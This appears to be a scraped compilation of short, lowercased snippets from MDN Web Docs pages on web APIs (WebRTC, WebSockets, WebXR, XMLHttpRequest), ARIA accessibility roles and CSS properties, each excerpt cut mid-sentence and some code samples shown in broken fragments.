... let transformmatrix = mdn.multiplyarrayofmatrices([ scale(1.25, 1.25, 1.25), // step 6: scale back up translate(0, -200, 0), // step 5: move back up rotatearoundzaxis(-math.pi * 0.5), // step 4: rotate back rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); why matrices are important matrices are important because they comprise a small set of numbers that can describe a wide range of transformations in space.
Lifetime of a WebRTC session - Web APIs
webrtc lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application.
... signaling signaling is the process of sending control information between two devices to determine the communication protocols, channels, media codecs and formats, and method of data transfer, as well as any required routing information.
... information exchanged during signaling there are three basic types of information that need to be exchanged during signaling: control messages used to set up, open, and close the communication channel, and to handle errors.
...the signaling server is, in essence, a relay: a common point which both sides connect to knowing that their signaling data can be transferred through it.
A simple RTCDataChannel sample - Web APIs
the api is intentionally similar to the websocket api, so that the same programming model can be used for each.
...a side channel, commonly called a “signalling server,” is usually used to exchange the description (which is in application/sdp form) between the two peers.
...the user interface is updated correspondingly by enabling the text input box for the message to send, focusing the input box so that the user can immediately begin to type, enabling the "send" and "disconnect" buttons, now that they're usable, and disabling the "connect" button, since it is not needed when the conneciton is open.
...the rest of this method is just some user experience sugar -- the input box is emptied and re-focused so the user can immediately begin typing another message.
WebRTC Statistics API - Web APIs
commonly used statistics reference the rtcstatsreport object contains a map of named objects based one of the rtcstats dictionary's subclasses.
... rtctransportstats rtcstats specifications specification status comment identifiers for webrtc's statistics apithe definition of 'webrtc statistics types' in that specification.
... candidate recommendation compatibility for individual statistic types webrtc 1.0: real-time communication between browsersthe definition of 'rtcstatsreport' in that specification.
... candidate recommendation compatibility of statistic reporting ...
The WebSocket API (WebSockets) - Web APIs
the websocket api is an advanced technology that makes it possible to open a two-way interactive communication session between the user's browser and a server.
... caddy: a web server capable of proxying arbitrary commands (stdin/stdout) as a websocket.
... related topics ajax javascript specifications specification status comments html living standardthe definition of 'websocket api' in that specification.
... living standard websockets candidate recommendation rfc 6455: the websocket protocol ietf rfc ...
Lighting a WebXR setting - Web APIs
ambient light is commonly present simply to prevent shadowed areas from becoming too dark, although it affects the entire scene; however, the amount of ambient light in a scene should be very low.
... because the bouncing and scattering of light can be expensive to compute in real time, especially if multiple light sources are involved, it's common to use ambient lighting to simulate the scattered light caused by all the other light sources in the scene, instead of actually calculating the true effect of light scattering.
... the most common example of a directional light is the sun.
... between the law of reflection and the fact that the brightness of the light rays decreases with distance, the light emitted by a point source and reflected back tends to be brightest at the closest point to the light source and dimmer the farther away it is.
WebXR performance guide - Web APIs
in this guide, we'll examine a variety of suggestions and recommendations that will help you make your webxr app as performant as possible.
... can probably also include stuff from https://github.com/immersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ...
... this section will come in part from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing frame rate ...
... this section will combine information from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/immersive-web/webxr/blob/master/explainer.md#preventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time.
WebXR Device API - Web APIs
webxr-compatible devices include fully-immersive 3d headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.
...events which communicate tracking states will also use xrframe to contain that information.
... performance and security webxr performance guide recommendations and tips to help you optimize the performance of your webxr application.
... specifications specification status comment webxr device api working draft initial definition.
Migrating from webkitAudioContext - Web APIs
it was first implemented in webkit, and some of its older parts were not immediately removed as they were replaced in the specification, leading to many sites using non-compatible code.
... new engines implementing the web audio spec (such as gecko) will only implement the official, final version of the specification, which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not immediately work out of the box in a compliant web audio implementation.
... this article attempts to summarize the areas where developers are likely to encounter these problems and provide examples on how to port such code to standards based audiocontext, which will work across different browser engines.
...e); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { context.decodeaudiodata(xhr.response, function onsuccess(decodedbuffer) { // decoding was successful, do something useful with the audio buffer }, function onfailure() { alert("decoding the audio buffer failed"); }); }; note that the decodeaudiodata() method is asynchronous, which means that it will return immediately, and then when the decoding finishes, one of the success or failure callback functions will get called depending on whether the audio decoding was successful.
WindowEventHandlers - Web APIs
the windoweventhandlers mixin describes the event handlers common to several interfaces like window, or htmlbodyelement and htmlframesetelement.
... specifications specification status comment html living standardthe definition of 'windoweventhandlers' in that specification.
... recommendation snapshot of html living standard.
... recommendation snapshot of html living standard.
WindowOrWorkerGlobalScope.atob() - Web APIs
you can use the btoa() method to encode and transmit data which may otherwise cause communication problems, then transmit it and use the atob() method to decode the data again.
... specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.atob()' in that specification.
... recommendation snapshot of html living standard.
... recommendation snapshot of html living standard.
WindowOrWorkerGlobalScope.btoa() - Web APIs
you can use this method to encode data which may otherwise cause communication problems, transmit it, then use the atob() method to decode the data again.
... specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.btoa()' in that specification.
... recommendation snapshot of html living standard.
... recommendation snapshot of html living standard.
Using XMLHttpRequest - Web APIs
examples of both common and more obscure use cases for xmlhttprequest are included.
... handling binary data although xmlhttprequest is most commonly used to send and receive textual data, it can be used to send and receive binary content.
... the recommended way to enable cross-site scripting is to use the access-control-allow-origin http header in the response to the xmlhttprequest.
... specifications specification status comment xmlhttprequest living standard live standard, latest version ...
XMLHttpRequest - Web APIs
xmlhttprequest is used heavily in ajax programming.
... if your communication needs to involve receiving event data or message data from a server, consider using server-sent events through the eventsource interface.
... for full-duplex communication, websockets may be a better choice.
... specifications specification status comment xmlhttprequest living standard live standard, latest version ...
XRPermissionDescriptor.requiredFeatures - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
... xrreferencespace usage notes examples in this example, permissions are checked to ensure that the user has granted permission for the site or app to use immersive augmented reality mode with the local-floor reference space (presumably since the user is unlikely to start to fly).
... let xrpermissiondesc = { name: "xr", mode: "immersive-ar", requiredfeatures: [ "local-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status comment webxr device apithe definition of 'xrpermissiondescriptor.requiredfeatures' in that specification.
XRPermissionDescriptor - Web APIs
mode an xrsessionmode value indicating the xr mode (inline, immersive-vr, or immersive-ar) for which the permissions are requested.
... examples the example below demonstrates performing the permission request for an application that requires the local-floor reference space in an immersive-vr environment.
... let xrpermissiondesc = { name: "xr", mode: "immersive-vr", requiredfeatures: [ "local-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); }...
... } else { setupxr(); } specifications specification status comment webxr device apithe definition of 'xrpermissiondescriptor' in that specification.
XRReferenceSpace: reset event - Web APIs
this is common when the user calibrates or recalibrates an xr device, or if the device automatically changes its origin after losing tracking of the user, then re-gaining it.
...most common among them are the following: the user has manually reset the coordinate system, such as by requesting that the headset recalibrate itself to ensure that the facing direction and hand controllers are synchronized with the user's actual position and facing.
... the tracking system has temporarily lost the user, then regained them, but not until after they had moved enough to leave the immediate vicinity of the last-known position.
...first, you can use the addeventlistener() method: viewerrefspace.addeventlistener("reset", (event) => { /* perform reset related tasks */ }); the second option is to set the xrreferencespace object's onreset event handler property: viewerrefspace.onreset = (event) => { /* perform reset related tasks */ }; specifications specification status comment webxr device apithe definition of 'reset event' in that specification.
XRSession.updateRenderState() - Web APIs
this property must not be specified for immersive sessions, so the value is null by default for immersive sessions.
... the inlineverticalfieldofview property was set, but the session is immersive and therefore does not allow this property to be used.
... examples this example creates a webgl context that is compatible with an immersive xr device and then uses it to create an xrwebgllayer.
... function onxrsessionstarted(xrsession) { let glcanvas = document.createelement("canvas"); let gl = glcanvas.getcontext("webgl", { xrcompatible: true }); loadwebglresources(); xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); } specifications specification status comment webxr device apithe definition of 'xrsession.updaterenderstate()' in that specification.
XRSystem: isSessionSupported() - Web APIs
this string must be one of inline (to present the webxr content inline within the context of an html document) or immersive-vr for a fully-immersive virtual experience.
... examples in this example, we see issessionsupported() used to detect whether or not the device supports vr mode by checking to see if an immersive-vr session is supported.
... if (navigator.xr) { navigator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { userbutton.addeventlistener('click', onbuttonclicked); userbutton.innerhtml = 'enter xr'; userbutton.disabled = false; } }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then((session) => { xrsession = session; // onsessionstarted() not shown...
... xrsession.end(); } } specifications specification status comment webxr device apithe definition of 'issessionsupported()' in that specification.
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
return value a floating-point value which, when multiplied by the xrsession's recommended framebuffer dimensions, results in the xr device's native frame buffer resolution.
...in any case, multiplying the recommended resolution as identified by the xrsession by this value will result in the actual native resolution of the xr hardware.
... the recommended webgl frame buffer resolution is the best possible estimate of the resolution necessary to contain all of fthe xrviews needed by the device while at the same time providing typical applications an acceptable balance of image quality and performance.
... specifications specification status comment webxr device apithe definition of 'static xrwebgllayer.getnativeframebufferscalefactor()' in that specification.
ARIA live regions - Accessibility
aria live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies.
...screen reader users have a special command to read the current status.
...(tbd: link to aria form tutorial with aria info) to maximize compatibility, some people recommend adding a redundant aria-live="assertive" when using this role.
...this is the most commonly used value, as interrupting the user with "assertive" might interrupt their flow.
Using the aria-invalid attribute - Accessibility
aria-invalid can also be used to indicate that a required field has not been filled in.the attribute should be programmatically set as a result of a validation process.
... values vocabulary: false (default) no errors detected grammar a grammatical error has been detected.
... <input name="name" id="name" aria-required="true" aria-invalid="false" onblur="checkvalidity('name', ' ', 'invalid name entered (requires both first and last name)');"/> <br /> <input name="email" id="email" aria-required="true" aria-invalid="false" onblur="checkvalidity('email', '@', 'invalid e-mail address');"/> note that it is not necessary to validate the fields immediately on blur; the application could wait until the form is submitted (though this is not necessarily recommended).
... used in aria roles all elements of the base markup related aria techniques using the aria-required attribute using the alert role compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-invalid property wai authoring practices for forms ...
ARIA: application role - Accessibility
escape is the most common way of switching back to browse mode.
...in a slides application, for example, a widget could be created that uses the arrow keys to position elements on the slide, and uses audio feedback via an aria live region to communicate the position and overlap status with other objects.
...if used, the application role should be added to the lowest common container possible, not on the <body> element, for example.
... recommendation precedence order applying the application role will cause this and all of the descendant elements of this element to be treated like application content, not web content.
ARIA: article role - Accessibility
it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.
...examples of appropriate uses of the role="article", or preferably <article>, include blog posts, forum posts, a comment to a forum or blog post, a comment to a comment to a forum or blog post, any an item in a social media feed.
... examples the restaurant recommendations feed display along with its separate documentation from the wai-aria 1.1 authoring practices feed design pattern specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'article' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'feed' in that specification.
ARIA: Navigation Role - Accessibility
by classifying and labeling sections of a page, structural information conveyed visually through layout is represented programmatically.
... using the <nav> element will automatically communicate a section has a role of navigation.
... best practices prefer html using the <nav> element will automatically communicate a section has a role of navigation.
... recommendation wai-aria authoring practicesthe definition of 'navigation landmark role' in that specification.
ARIA: tab role - Accessibility
the common user experience pattern is a group of visual tabs above, or to the side of, a content area, and selecting a different tab changes the content and makes the selected tab more prominent than the other tabs.
...alse)); // set this tab as selected target.setattribute("aria-selected", true); // hide all tab panels grandparent .queryselectorall('[role="tabpanel"]') .foreach(p => p.setattribute("hidden", true)); // show the selected panel grandparent.parentnode .queryselector(`#${target.getattribute("aria-controls")}`) .removeattribute("hidden"); } best practices it is recommended to use a button element with the role tab for their built-in functional and accessible features instead, as opposed to needing to add them yourself.
... for controlling tab key functionality for elements with the role tab, it is recommended to set all non-active elements to tabindex=-1, and to set the active element to tabindex=0.
... recommendation wai-aria authoring practicesthe definition of 'tabs' in that specification.
WAI-ARIA Roles - Accessibility
it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative content frequently placed at the beginning of the page.
...elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.aria: comment rolethe comment landmark role semantically denotes a comment/reaction to some content on the page, or to a previous comment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated.
...this section is commonly called a footer.aria: dialog rolethe dialog role is used to mark up an html based application dialog or window that separates content or ui from the rest of the web application or page.
... alertdialog banner combobox command columnheader (estelle) complementary composite definition directory feed gridcell (eric e) group input landmark link - old page listbox log - old page marquee math menu menubar menuitem menuitemcheckbox menuitemradio none note option presentation progressbar - old page radio - old page radiogroup range region roletype rowheader(estelle) scrollbar searchbox se...
Keyboard-navigable JavaScript widgets - Accessibility
once keyboard focus lands on the containing <ul> element, the javascript developer must programmatically manage focus and respond to arrow keys.
...there are two techniques for accomplishing this: roving tabindex: programmatically moving focus aria-activedescendant: managing a 'virtual' focus technique 1: roving tabindex setting the tabindex of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus.
...this technique involves programmatically moving focus in response to key events and updating the tabindex to reflect the currently focused item.
... to do this: bind a key down handler to each element in the group, and when an arrow key is used to move to another element: programmatically apply focus to the new element, update the tabindex of the focused element to "0", and update the tabindex of the previously focused element to "-1".
Perceivable - Accessibility
success criteria how to conform to the criteria practical resource 1.3.1 info and relationships (a) any content structure—or visual relationship made between content—can also be determined programmatically, or be inferred from text description.
...content images should have text available that clearly describes the image's contents, which can be programmatically associated with it (e.g., alt text), or otherwise is easy to associate (e.g., describes it and is sat right next to it).
... understanding orientation 1.3.5 identify input purpose (aa) added in 2.1 follow the list of 53 input fields to programmatically identify the purpose of a field.
... understanding identify input purpose 1.3.6 identify purpose (aaa) added in 2.1 in content implemented using markup languages, the purpose of user interface components, icons, and regions can be programmatically determined.
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
this shows how flexible ::before and ::after can be, though for the most accessible experience a semantic disclosure widget created in some other way (such as with details and summary elements) is likely to be more appropriate.
... #00f; cursor: help; } span[data-descr]:hover::after, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px; background-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status comment css pseudo-elements level 4the definition of '::after' in that specification.
... recommendation introduces the two-colon syntax.
... recommendation initial definition, using the one-colon syntax.
:lang() - CSS: Cascading Style Sheets
WebCSS:lang
side.</q></div> <div lang="fr"><q>this french quote has a <q>nested</q> quote inside.</q></div> <div lang="de"><q>this german quote has a <q>nested</q> quote inside.</q></div> css :lang(en) > q { quotes: '\201c' '\201d' '\2018' '\2019'; } :lang(fr) > q { quotes: '« ' ' »'; } :lang(de) > q { quotes: '»' '«' '\2039' '\203a'; } result specifications specification status comment selectors level 4the definition of ':lang()' in that specification.
... working draft adds wildcard language matching and comma-separated list of languages.
... recommendation no significant change.
... recommendation initial definition.
:link - CSS: Cascading Style Sheets
WebCSS:link
html <a href="#ordinary-target">this is an ordinary link.</a><br> <a href="">you've already visited this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link { background-color: gold; color: green; } result specifications specification status comment html living standardthe definition of ':link' in that specification.
... recommendation no change.
... recommendation lift the restriction to only apply it for <a> element.
... recommendation initial definition.
:visited - CSS: Cascading Style Sheets
WebCSS:visited
yet?</a><br> <a href="">you've already visited this link.</a> css a { /* specify non-transparent defaults to certain properties, allowing them to be styled with the :visited state */ background-color: white; border: 1px solid white; } a:visited { background-color: yellow; border-color: hotpink; color: hotpink; } result specifications specification status comment html living standardthe definition of ':visited' in that specification.
... recommendation no change.
... recommendation lifts the restriction to only apply :visited to the <a> element.
... recommendation initial definition.
range - CSS: Cascading Style Sheets
[ [ | infinite ]{2} ]# defines a comma-separated list of ranges.
... description the value of the range descriptor can be either auto or a comma separated list of lower and upper bounds specified as integers.
...ten specifications specification status comment css counter styles level 3the definition of 'range' in that specification.
... candidate recommendation initial definition ...
src - CSS: Cascading Style Sheets
WebCSS@font-facesrc
the format hint contains a comma-separated list of format strings that denote well-known font formats.
... description the value of this descriptor is a prioritized, comma-separated list of external references or locally-installed font face names.
...| local( <family-name> ) ]#where <family-name> = <string> | <custom-ident>+ examples specifying font resources using url() and local() @font-face { font-family: examplefont; src: local(example font), url('examplefont.woff') format("woff"), url('examplefont.otf') format("opentype"); } specifications specification status comment css fonts module level 3the definition of 'src' in that specification.
... candidate recommendation initial definition ...
Adjacent sibling combinator - CSS: Cascading Style Sheets
the adjacent sibling combinator (+) separates two selectors and matches the second element only if it immediately follows the first element, and both are children of the same parent element.
... /* paragraphs that come immediately after any image */ img + p { font-weight: bold; } syntax former_element + target_element { style properties } examples css li:first-of-type + li { color: red; } html <ul> <li>one</li> <li>two!</li> <li>three</li> </ul> result specifications specification status comment selectors level 4the definition of 'next-sibling combinator' in that specification.
... recommendation css level 2 (revision 1)the definition of 'adjacent sibling selectors' in that specification.
... recommendation initial definition.
Alternative style sheets - CSS: Cascading Style Sheets
an example: specifying the alternative stylesheets the alternate stylesheets are commonly specified using a <link> element with rel="alternate stylesheet" and title="..." attributes.
...when the user selects a different style, the page will immediately be re-rendered using that style sheet.
... specifications specification status comment html living standardthe definition of 'link type "alternate"' in that specification.
... recommendation earlier, the html specification itself defined the concept of preferred and alternate stylesheets.
Attribute selectors - CSS: Cascading Style Sheets
[attr|=value] represents elements with an attribute name of attr whose value can be exactly value or can begin with value immediately followed by a hyphen, - (u+002d).
...*/ ol[type="a"] { list-style-type: lower-alpha; background: red; } ol[type="a" s] { list-style-type: lower-alpha; background: lime; } ol[type="a" s] { list-style-type: upper-alpha; background: lime; } html <ol type="a"> <li>example list</li> </ol> result specifications specification status comment selectors level 4the definition of 'attribute selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'attribute selectors' in that specification.
... recommendation initial definition ...
CSS Display - CSS: Cascading Style Sheets
ty of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing common layouts using grids specifications specification status comment css display module level 3the definition of 'display' in that specification.
... candidate recommendation added run-in, flow, flow-root, contents and multi-keyword values.
... recommendation added the table model values and inline-block.
... recommendation initial definition.
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
the history of flexbox as with all css specifications the flexbox specification went through a large number of changes before it became the candidate recommendation that we have today.
... as a candidate recommendation we should not see large changes at this point to the spec, however this has not been the case with past flexbox iterations.
... common issues the majority of issues with flexbox relate to the changes in the specification, as it has been developed, and the fact that many of us were attempting to use an experimental specification in production.
... .wrapper { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } autoprefixer online is a useful way to see which prefixes are recommended, depending on how many versions you wish to go back with browser support.
Child combinator - CSS: Cascading Style Sheets
/* list items that are children of the "my-things" list */ ul.my-things > li { margin: 2em; } elements matched by the second selector must be the immediate children of the elements matched by the first selector.
... <span>span #2, in the span that's in the div.</span> </span> </div> <span>span #3, not in the div at all.</span> result specifications specification status comment selectors level 4the definition of 'child combinator' in that specification.
... recommendation no change.
... recommendation initial definition.
Class selectors - CSS: Cascading Style Sheets
round: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragraph has red text and a yellow background.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status comment selectors level 4the definition of 'class selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'child selectors' in that specification.
... recommendation css level 1the definition of 'child selectors' in that specification.
... recommendation initial definition ...
ID selectors - CSS: Cascading Style Sheets
{ style properties } note that syntactically (but not specificity-wise), this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified { background-color: skyblue; } html <div id="identified">this div has a special id on it!</div> <div>this is just a regular div.</div> result specifications specification status comment selectors level 4the definition of 'id selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'id selectors' in that specification.
... recommendation css level 1the definition of 'id selectors' in that specification.
... recommendation initial definition ...
Specificity - CSS: Cascading Style Sheets
specifications specification status comment selectors level 4the definition of 'calculating a selector's specificity' in that specification.
... recommendation add pseudo-elements.
... recommendation add pseudo-classes.
... recommendation initial definition.
Type selectors - CSS: Cascading Style Sheets
*/ a { color: red; } syntax element { style properties } examples css span { background-color: skyblue; } html <span>here's a span with some text.</span> <p>here's a p with some text.</p> <span>here's a span with more text.</span> result specifications specification status comment selectors level 4the definition of 'type (tag name) selector' in that specification.
... recommendation no changes css level 2 (revision 1)the definition of 'type selectors' in that specification.
... recommendation css level 1the definition of 'type selectors' in that specification.
... recommendation initial definition ...
background-repeat - CSS: Cascading Style Sheets
specifications specification status comment css backgrounds and borders module level 3the definition of 'background-repeat' in that specification.
... candidate recommendation adds support for multiple background images, the two-value syntax allowing distinct repetition behavior for the horizontal and vertical directions, the space and round keywords, and for backgrounds on inline-level elements by precisely defining the background painting area.
... recommendation no significant changes.
... recommendation initial definition.
background-size - CSS: Cascading Style Sheets
to specify the size of multiple background images, separate the value for each one with a comma.
... .gradient-example { width: 50px; height: 100px; background-image: linear-gradient(blue, red); /* not safe to use */ background-size: 25px; background-size: 50%; background-size: auto 50px; background-size: auto 50%; /* safe to use */ background-size: 25px 50px; background-size: 50% 50%; } note that it's particularly not recommended to use a pixel dimension and an auto dimension with a <gradient>, because it's impossible to replicate rendering in versions of firefox prior to 8, and in browsers not implementing firefox 8's rendering, without knowing the exact size of the element whose background is being specified.
... specifications specification status comment css backgrounds and borders module level 3the definition of 'background-size' in that specification.
... candidate recommendation initial definition.
border-bottom-width - CSS: Cascading Style Sheets
ngth formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing bottom border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-width' in that specification.
... candidate recommendation no significant change.
... recommendation no significant change.
... recommendation initial definition.
border-bottom - CSS: Cascading Style Sheets
</div> css div { border-bottom: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom' in that specification.
... candidate recommendation no direct changes, though the modification of values for the border-bottom-color do apply to it.
... recommendation no significant changes.
... recommendation initial definition ...
border-color - CSS: Cascading Style Sheets
#justone { border-color: red; } #horzvert { border-color: gold red; } #topvertbott { border-color: red cyan gold; } #trbl { border-color: red cyan black gold; } /* set width and style for all divs */ div { border: solid 0.3em; width: auto; margin: 0.5em; padding: 0.5em; } ul { margin: 0; list-style: none; } result specifications specification status comment css logical properties and values level 1 editor's draft added the logical keyword.
... candidate recommendation the transparent keyword has been removed as it is now a part of the <color> data type.
... recommendation the property is now a shorthand property.
... recommendation initial definition.
border-left-width - CSS: Cascading Style Sheets
on typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-width' in that specification.
... candidate recommendation no significant change.
... recommendation no significant change.
... recommendation initial definition.
border-left - CSS: Cascading Style Sheets
</div> css div { border-left: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left' in that specification.
... candidate recommendation no direct changes, though the modification of values for the border-left-color do apply to it.
... recommendation no significant changes.
... recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
border-right-width - CSS: Cascading Style Sheets
typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-width' in that specification.
... candidate recommendation no significant change.
... recommendation no significant change.
... recommendation initial definition.
border-right - CSS: Cascading Style Sheets
</div> css div { border-right: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right' in that specification.
... candidate recommendation no direct changes, though the modification of values for the border-right-color do apply to it.
... recommendation no significant changes.
... recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
border-style - CSS: Cascading Style Sheets
96; } tr, td { padding: 2px; } /* border-style example classes */ .b1 {border-style:none;} .b2 {border-style:hidden;} .b3 {border-style:dotted;} .b4 {border-style:dashed;} .b5 {border-style:solid;} .b6 {border-style:double;} .b7 {border-style:groove;} .b8 {border-style:ridge;} .b9 {border-style:inset;} .b10 {border-style:outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-style' in that specification.
... candidate recommendation no change.
... recommendation adds hidden keyword value.
... recommendation initial definition.
border-top-width - CSS: Cascading Style Sheets
le is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-top-width: thick; } div:nth-child(2) { border-top-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-width' in that specification.
... candidate recommendation no significant change.
... recommendation no significant change.
... recommendation initial definition.
border-top - CSS: Cascading Style Sheets
</div> css div { border-top: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top' in that specification.
... candidate recommendation no direct changes, though the modification of values for the border-top-color do apply to it.
... recommendation no significant changes.
... recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
border-width - CSS: Cascading Style Sheets
1em left</p> css #sval { border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #treval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: solid lightgreen; border-width: thin medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-width' in that specification.
... candidate recommendation no direct change; the <length> css data type extension has an effect on this property.
... recommendation added the constraint that values' meaning must be constant inside a document.
... recommendation initial definition.
border - CSS: Cascading Style Sheets
WebCSSborder
amazing, isn't it?</div> css div { border: 0.5rem outset pink; outline: 0.5rem solid khaki; box-shadow: 0 0 0 2rem skyblue; border-radius: 12px; font: bold 1rem sans-serif; margin: 2rem; padding: 1rem; outline-offset: 0.5rem; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border' in that specification.
... candidate recommendation removes specific support for transparent, as it is now a valid <color>; this has no practical impact.
... recommendation accepts the inherit keyword.
... recommendation initial definition.
break-after - CSS: Cascading Style Sheets
the type of this break is that of the immediately-containing fragmentation context.
...quisque commodo eget nisi sed pretium.
...cibus dui sed ultricies.</p> </article> css html { font-family: helvetica, arial, sans-serif; } h1 { font-size: 3rem; letter-spacing: 2px; column-span: all; } h2 { font-size: 1.2rem; color: red; letter-spacing: 1px; } p { line-height: 1.5; break-after: column; } article { column-width: 200px; gap: 20px; } result specifications specification status comment css fragmentation module level 3the definition of 'break-after' in that specification.
... candidate recommendation adds the recto and verso keywords.
break-before - CSS: Cascading Style Sheets
the type of this break is that of the immediately-containing fragmentation context.
...quisque commodo eget nisi sed pretium.
...ibus dui sed ultricies.</p> </article> css html { font-family: helvetica, arial, sans-serif; } h1 { font-size: 3rem; letter-spacing: 2px; column-span: all; } h2 { font-size: 1.2rem; color: red; letter-spacing: 1px; break-before: column; } p { line-height: 1.5; } article { column-width: 200px; gap: 20px; } result specifications specification status comment css fragmentation module level 3the definition of 'break-before' in that specification.
... candidate recommendation adds the recto and verso keywords.
column-width - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valuethe absolute length, zero or largeranimation typea length formal syntax <length> | auto examples setting column width in pixels html <p class="content-box"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.
... </p> css .content-box { column-width: 100px; } result specifications specification status comment css writing modes level 4the definition of 'column-width' in that specification.
... candidate recommendation adds intrinsic sizes via the keywords min-content, max-content, fill-available, and fit-content.
cross-fade() - CSS: Cascading Style Sheets
